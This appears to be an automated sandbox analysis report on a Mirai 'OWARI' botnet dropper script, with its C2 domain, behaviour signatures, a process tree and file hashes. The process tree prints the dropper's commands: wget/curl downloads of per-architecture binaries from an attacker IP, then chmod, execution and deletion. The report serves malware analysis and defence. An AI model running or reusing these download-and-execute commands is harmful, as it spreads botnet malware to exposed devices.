Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    26/03/2025, 10:08

General

  • Target

    telnet.sh

  • Size

    2KB

  • MD5

    b8040d76c452f36962913106434feaf7

  • SHA1

    ce8d91862156d0081ce8249a4487a47da1132cd4

  • SHA256

    42fa2db62f271b57cdfd7e1957693de96d711eff3c0fdd089c9482091bbedaef

  • SHA512

    53146fd875a02207bbbcb3fd9903f3b0f03f996a4bcb6f87055152f158f2d506be41602c1fa12791fccfcee8937e28d15800df79225374500bbebfab62323d47

Malware Config

Extracted

Family

mirai

Botnet

OWARI

C2

newageofkifirempire.camdvr.org

Extracted

Family

mirai

Botnet

OWARI

Extracted

Family

mirai

Botnet

OWARI

Extracted

Family

mirai

Botnet

OWARI

C2

newageofkifirempire.camdvr.org

Extracted

Family

mirai

Botnet

OWARI

C2

newageofkifirempire.camdvr.org

Extracted

Family

mirai

Botnet

OWARI

C2

newageofkifirempire.camdvr.org

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Changes its process name 1 IoCs
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 47 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/telnet.sh
    /tmp/telnet.sh
    1⤵
    • Executes dropped EXE
    PID:711
    • /usr/bin/wget
      wget 141.98.10.122/GoldAge3ATOarm
      2⤵
      • Writes file to tmp directory
      PID:714
    • /usr/bin/curl
      curl -O 141.98.10.122/GoldAge3ATOarm
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:733
    • /bin/chmod
      chmod 777 GoldAge3ATOarm
      2⤵
      • File and Directory Permissions Modification
      PID:740
    • /tmp/GoldAge3ATOarm
      ./GoldAge3ATOarm telnet
      2⤵
        PID:741
      • /bin/rm
        rm -rf GoldAge3ATOarm
        2⤵
          PID:743
        • /bin/rm
          rm -rf GoldAge3ATOarm.1
          2⤵
            PID:744
          • /usr/bin/wget
            wget 141.98.10.122/GoldAge3ATOarm6
            2⤵
            • Writes file to tmp directory
            PID:746
          • /usr/bin/curl
            curl -O 141.98.10.122/GoldAge3ATOarm6
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:747
          • /bin/chmod
            chmod 777 GoldAge3ATOarm6
            2⤵
            • File and Directory Permissions Modification
            PID:748
          • /tmp/GoldAge3ATOarm6
            ./GoldAge3ATOarm6 telnet
            2⤵
              PID:749
            • /bin/rm
              rm -rf GoldAge3ATOarm6
              2⤵
                PID:751
              • /bin/rm
                rm -rf GoldAge3ATOarm6.1
                2⤵
                  PID:752
                • /usr/bin/wget
                  wget 141.98.10.122/GoldAge3ATOarm5
                  2⤵
                  • Writes file to tmp directory
                  PID:753
                • /usr/bin/curl
                  curl -O 141.98.10.122/GoldAge3ATOarm5
                  2⤵
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:754
                • /bin/chmod
                  chmod 777 GoldAge3ATOarm5
                  2⤵
                  • File and Directory Permissions Modification
                  PID:755
                • /tmp/GoldAge3ATOarm5
                  ./GoldAge3ATOarm5 telnet
                  2⤵
                    PID:757
                  • /bin/rm
                    rm -rf GoldAge3ATOarm5
                    2⤵
                      PID:760
                    • /bin/rm
                      rm -rf GoldAge3ATOarm5.1
                      2⤵
                        PID:761
                      • /usr/bin/wget
                        wget 141.98.10.122/GoldAge3ATOarm7
                        2⤵
                        • Writes file to tmp directory
                        PID:763
                      • /usr/bin/curl
                        curl -O 141.98.10.122/GoldAge3ATOarm7
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:771
                      • /bin/chmod
                        chmod 777 GoldAge3ATOarm7
                        2⤵
                        • File and Directory Permissions Modification
                        PID:778
                      • /tmp/GoldAge3ATOarm7
                        ./GoldAge3ATOarm7 telnet
                        2⤵
                          PID:779
                        • /bin/rm
                          rm -rf GoldAge3ATOarm7
                          2⤵
                            PID:783
                          • /bin/rm
                            rm -rf GoldAge3ATOarm7.1
                            2⤵
                              PID:784
                            • /usr/bin/wget
                              wget 141.98.10.122/GoldAge3ATOm68k
                              2⤵
                              • Writes file to tmp directory
                              PID:785
                            • /usr/bin/curl
                              curl -O 141.98.10.122/GoldAge3ATOm68k
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:791
                            • /bin/chmod
                              chmod 777 GoldAge3ATOm68k
                              2⤵
                              • File and Directory Permissions Modification
                              PID:801
                            • /tmp/GoldAge3ATOm68k
                              ./GoldAge3ATOm68k telnet
                              2⤵
                                PID:802
                              • /bin/rm
                                rm -rf GoldAge3ATOm68k
                                2⤵
                                  PID:806
                                • /bin/rm
                                  rm -rf GoldAge3ATOm68k.1
                                  2⤵
                                    PID:808
                                  • /usr/bin/wget
                                    wget 141.98.10.122/GoldAge3ATOmips
                                    2⤵
                                    • System Network Configuration Discovery
                                    • Writes file to tmp directory
                                    PID:810
                                  • /usr/bin/curl
                                    curl -O 141.98.10.122/GoldAge3ATOmips
                                    2⤵
                                    • Reads runtime system information
                                    • System Network Configuration Discovery
                                    • Writes file to tmp directory
                                    PID:819
                                  • /bin/chmod
                                    chmod 777 GoldAge3ATOmips
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:821
                                  • /tmp/GoldAge3ATOmips
                                    ./GoldAge3ATOmips telnet
                                    2⤵
                                    • Modifies Watchdog functionality
                                    • Enumerates active TCP sockets
                                    • Changes its process name
                                    • Reads system network configuration
                                    • Reads runtime system information
                                    • System Network Configuration Discovery
                                    PID:822
                                  • /bin/rm
                                    rm -rf GoldAge3ATOmips
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:828
                                  • /bin/rm
                                    rm -rf GoldAge3ATOmips.1
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:829
                                  • /usr/bin/wget
                                    wget 141.98.10.122/GoldAge3ATOmpsl
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:830
                                  • /usr/bin/curl
                                    curl -O 141.98.10.122/GoldAge3ATOmpsl
                                    2⤵
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:831
                                  • /bin/chmod
                                    chmod 777 GoldAge3ATOmpsl
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:832
                                  • /tmp/GoldAge3ATOmpsl
                                    ./GoldAge3ATOmpsl telnet
                                    2⤵
                                      PID:833
                                    • /bin/rm
                                      rm -rf GoldAge3ATOmpsl
                                      2⤵
                                        PID:835
                                      • /bin/rm
                                        rm -rf GoldAge3ATOmpsl.1
                                        2⤵
                                          PID:836
                                        • /usr/bin/wget
                                          wget 141.98.10.122/GoldAge3ATOppc
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:837
                                        • /usr/bin/curl
                                          curl -O 141.98.10.122/GoldAge3ATOppc
                                          2⤵
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:840
                                        • /bin/chmod
                                          chmod 777 GoldAge3ATOppc
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:851
                                        • /tmp/GoldAge3ATOppc
                                          ./GoldAge3ATOppc telnet
                                          2⤵
                                            PID:852
                                          • /bin/rm
                                            rm -rf GoldAge3ATOppc
                                            2⤵
                                              PID:855
                                            • /bin/rm
                                              rm -rf GoldAge3ATOppc.1
                                              2⤵
                                                PID:856
                                              • /usr/bin/wget
                                                wget 141.98.10.122/GoldAge3ATOsh4
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:858
                                              • /usr/bin/curl
                                                curl -O 141.98.10.122/GoldAge3ATOsh4
                                                2⤵
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:864
                                              • /bin/chmod
                                                chmod 777 GoldAge3ATOsh4
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:881
                                              • /tmp/GoldAge3ATOsh4
                                                ./GoldAge3ATOsh4 telnet
                                                2⤵
                                                  PID:882
                                                • /bin/rm
                                                  rm -rf GoldAge3ATOsh4
                                                  2⤵
                                                    PID:884
                                                  • /bin/rm
                                                    rm -rf GoldAge3ATOsh4.1
                                                    2⤵
                                                      PID:885
                                                    • /usr/bin/wget
                                                      wget 141.98.10.122/GoldAge3ATOspc
                                                      2⤵
                                                      • Writes file to tmp directory
                                                      PID:886
                                                    • /usr/bin/curl
                                                      curl -O 141.98.10.122/GoldAge3ATOspc
                                                      2⤵
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:887
                                                    • /bin/chmod
                                                      chmod 777 GoldAge3ATOspc
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:888
                                                    • /tmp/GoldAge3ATOspc
                                                      ./GoldAge3ATOspc telnet
                                                      2⤵
                                                        PID:889
                                                      • /bin/rm
                                                        rm -rf GoldAge3ATOspc
                                                        2⤵
                                                          PID:891
                                                        • /bin/rm
                                                          rm -rf GoldAge3ATOspc.1
                                                          2⤵
                                                            PID:892
                                                          • /usr/bin/wget
                                                            wget 141.98.10.122/GoldAge3ATOx64
                                                            2⤵
                                                            • Writes file to tmp directory
                                                            PID:893
                                                          • /usr/bin/curl
                                                            curl -O 141.98.10.122/GoldAge3ATOx64
                                                            2⤵
                                                            • Reads runtime system information
                                                            • Writes file to tmp directory
                                                            PID:894
                                                          • /bin/chmod
                                                            chmod 777 GoldAge3ATOx64
                                                            2⤵
                                                            • File and Directory Permissions Modification
                                                            PID:895
                                                          • /tmp/GoldAge3ATOx64
                                                            ./GoldAge3ATOx64 telnet
                                                            2⤵
                                                              PID:896
                                                            • /bin/rm
                                                              rm -rf GoldAge3ATOx64
                                                              2⤵
                                                                PID:898
                                                              • /bin/rm
                                                                rm -rf GoldAge3ATOx64.1
                                                                2⤵
                                                                  PID:899
                                                                • /usr/bin/wget
                                                                  wget 141.98.10.122/GoldAge3ATOx86
                                                                  2⤵
                                                                  • Writes file to tmp directory
                                                                  PID:900
                                                                • /usr/bin/curl
                                                                  curl -O 141.98.10.122/GoldAge3ATOx86
                                                                  2⤵
                                                                  • Reads runtime system information
                                                                  • Writes file to tmp directory
                                                                  PID:901
                                                                • /bin/chmod
                                                                  chmod 777 GoldAge3ATOx86
                                                                  2⤵
                                                                  • File and Directory Permissions Modification
                                                                  PID:902
                                                                • /tmp/GoldAge3ATOx86
                                                                  ./GoldAge3ATOx86 telnet
                                                                  2⤵
                                                                    PID:903
                                                                  • /bin/rm
                                                                    rm -rf GoldAge3ATOx86
                                                                    2⤵
                                                                      PID:905
                                                                    • /bin/rm
                                                                      rm -rf GoldAge3ATOx86.1
                                                                      2⤵
                                                                        PID:906

                                                                    Network

                                                                    MITRE ATT&CK Enterprise v15

                                                                    Replay Monitor

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                                                                    Downloads

                                                                    • /tmp/GoldAge3ATOarm

                                                                      Filesize

                                                                      42KB

                                                                      MD5

                                                                      b58316c521f8621ace5b4a883ae495a1

                                                                      SHA1

                                                                      71e2344a723a0066ae1fe80d26b63f71d85fe6d1

                                                                      SHA256

                                                                      f4aaffa4c2dd047542f38e60afa96554cff53c6083aefbeae49c2f2ccc183608

                                                                      SHA512

                                                                      c7181cd78fc97e0158d9ccf01c8bd7c65776eb344c3828cecd71eb92e8ef0ef84e50f018a8d154015baf3a3ec7b7404a5d9f5678d5a3b782ca190fb88a8afeae

                                                                    • /tmp/GoldAge3ATOarm5

                                                                      Filesize

                                                                      34KB

                                                                      MD5

                                                                      e47ad4d4cade3a8cafad3db4b22d83d1

                                                                      SHA1

                                                                      aa6642c9725f5028ba226e9d02a811d815367847

                                                                      SHA256

                                                                      80091a5d2912312e797e04bd5eb16290bde71f2f1eda338eb5d7d4788033ab9b

                                                                      SHA512

                                                                      52a0f28d9b8fbfe8c10434a68bdb982978ea8a6c4ece07619e5716b020ca66c9579370ed49f1906a84e0429acef259a83c4a2ad08b7e0ace1fbff1f198edbcc6

                                                                    • /tmp/GoldAge3ATOarm6

                                                                      Filesize

                                                                      53KB

                                                                      MD5

                                                                      4e25a773ef66310a0b4fe7129ba20de4

                                                                      SHA1

                                                                      d57058a515beb010a7e96c2ac3ba8fd2b0ebca99

                                                                      SHA256

                                                                      127a8f9ef876f72c390896631c14d7b406d127408917f9e395a2931d8a81b955

                                                                      SHA512

                                                                      df6aea653867d4bf77da88c37dd4b6160247e4e19dd104a94abd155859e47d3cbf6648dbfc1fe9e02eed6cd60496a7c67a3daaeb9f01d8ecb9073d63cc3726d8

                                                                    • /tmp/GoldAge3ATOarm7

                                                                      Filesize

                                                                      110KB

                                                                      MD5

                                                                      5097ceccb234605597f00ef93ede8751

                                                                      SHA1

                                                                      542de5358c6680a9b74f5e63d814b3b8593232b8

                                                                      SHA256

                                                                      2f8d5e01c5f945c7414bac1550b7d651fb3e791a68c1f0685037c5727663d66a

                                                                      SHA512

                                                                      65c172a3ee5162c9e7a72a5afa070bf89e91e9a8e1e740e3e7b55fe6b2ae81e07505d5bcf3c87e743622e36510a71af4797117e98fd5a7d69edddac999bffad6

                                                                    • /tmp/GoldAge3ATOm68k

                                                                      Filesize

                                                                      41KB

                                                                      MD5

                                                                      08c43f317206176398da4ce873c9b077

                                                                      SHA1

                                                                      acd7c6d4cf6961d335eb5560504f5b51a83468fc

                                                                      SHA256

                                                                      44b381bde81d6386a8713a1f5a89c4f5511dd5471048046b9deef96bed7ef779

                                                                      SHA512

                                                                      41d0723f553ebf931111d601630b4be1e91745e9a44c5763765d1df25602abb58fc5b584cec8f8177e98ccc9d0febd00193fd084e79bb4b8906c6f0fe8725b57

                                                                    • /tmp/GoldAge3ATOmips

                                                                      Filesize

                                                                      53KB

                                                                      MD5

                                                                      b25adc97864efce4fad6915113d432bb

                                                                      SHA1

                                                                      f83b6b19bc9080737efdcc36355065183b1f2873

                                                                      SHA256

                                                                      a587e7c7f11dbc533f4eca031049ac269da0356b97195612993d4fbad9b2d2a7

                                                                      SHA512

                                                                      1b7252f5b68b6547bb28de7551161698bb3f9caf7a218432f3abaeb28aafad9483eba08697cc23191da492118cba2182f80d250e1768dc2402012b742dabe840

                                                                    • /tmp/GoldAge3ATOmpsl

                                                                      Filesize

                                                                      55KB

                                                                      MD5

                                                                      c4b8705dc8ae7e51d0122b4afeb9bed5

                                                                      SHA1

                                                                      2c3aec92a0f61e67e1870436ed01544fd960dc52

                                                                      SHA256

                                                                      92154f4dfb53fcaaa598b1e8cdf408043694f4714f8ccce544d5ce6abfdd6724

                                                                      SHA512

                                                                      b27a9ba545f3fd5ac648fee463317987dd6eac754c76c667c876ada5c039616fa788e948e49e9d6c1f2b58f18a3bc8cb87daeeb00f40f8f6540ecb80e8a6f52a

                                                                    • /tmp/GoldAge3ATOppc

                                                                      Filesize

                                                                      39KB

                                                                      MD5

                                                                      d6127758c157cc32f612951c5ca51457

                                                                      SHA1

                                                                      bb78b97a08e5ae9bd9758f9bb292e148b539ba61

                                                                      SHA256

                                                                      790599cb608623c255987fa21bacdeed32b540e84a9c4f206b7ebcd3d5f076e9

                                                                      SHA512

                                                                      f31669ca46b566426355b152f64bd66b06b0c2e5ad26d55d4b98746c2bc6accf45e56f5eb454d7c50fea5d580325300298a18149ad37f7def9b44c66e7db2815

                                                                    • /tmp/GoldAge3ATOsh4

                                                                      Filesize

                                                                      36KB

                                                                      MD5

                                                                      89efd2e14dc8613ffda292cf3d390ceb

                                                                      SHA1

                                                                      78c7e51fb2bee42e6a927ea9879393e35000c4c9

                                                                      SHA256

                                                                      b1d71bff5722d0a1a0e231ccd55baae4a74ef9dc6e7e17d0d73dbe270d9e7378

                                                                      SHA512

                                                                      babb272c58305f19ec0ee6779b40d343cb50ef50959e47e26aba4fcbd9f53839e0a379040f67fc481a144f79e9d704de09b8e9cbbf5a2b2842e897e37dc2e1fd

                                                                    • /tmp/GoldAge3ATOspc

                                                                      Filesize

                                                                      44KB

                                                                      MD5

                                                                      e19a9d8e5622b1fa1736dc49cf00be55

                                                                      SHA1

                                                                      7c8768a86172280ee05e65617ddca3809e2a41c0

                                                                      SHA256

                                                                      2e94d64031cbc545e1c446f7d89ab70072b2781e47f98b1c193456a56f935bef

                                                                      SHA512

                                                                      9d4a941b53525b783419a570906e49d964d0fcb6affdf41f0e23aaa8e5a2abbb2645ba1f4feac64d09c67a7c6cf681ad1151382efde5be154501ac2b99349b5d

                                                                    • /tmp/GoldAge3ATOx64

                                                                      Filesize

                                                                      41KB

                                                                      MD5

                                                                      b70cf616255d6fba57636332d273b317

                                                                      SHA1

                                                                      514ac1e551e002786d0141ae9d4268b544f8a2ad

                                                                      SHA256

                                                                      3267485f753ca20ad6384328b42444aaaaad5746776b38b8b2d707f5f0439931

                                                                      SHA512

                                                                      4297c7c0149f9bd1ef816a9735de167afa7c3d48d09954abcfdca3395e4c8852688b4b3e34fdc6996d69e2075e74a290a71ecee973bbe3ad6ade141b0df7ca6a

                                                                    • /tmp/GoldAge3ATOx86

                                                                      Filesize

                                                                      37KB

                                                                      MD5

                                                                      f50130b7f6ee3b9cd3cebc8d7f7cc3b1

                                                                      SHA1

                                                                      b10d1f9aa72bf0127efbcb87fd7d4bda67ad678a

                                                                      SHA256

                                                                      188ec8f91895242ab4affa2595820b2a303810b981607866f368a9baaa40d1ac

                                                                      SHA512

                                                                      42d33fbe0c8179d75b6dace087673cf7f3c6d175596bd869b75d0dc939f9c44ffd5b763ed3a02113f43e2598539af891a57b77cdb9b7ffa50f075a9d5fef8423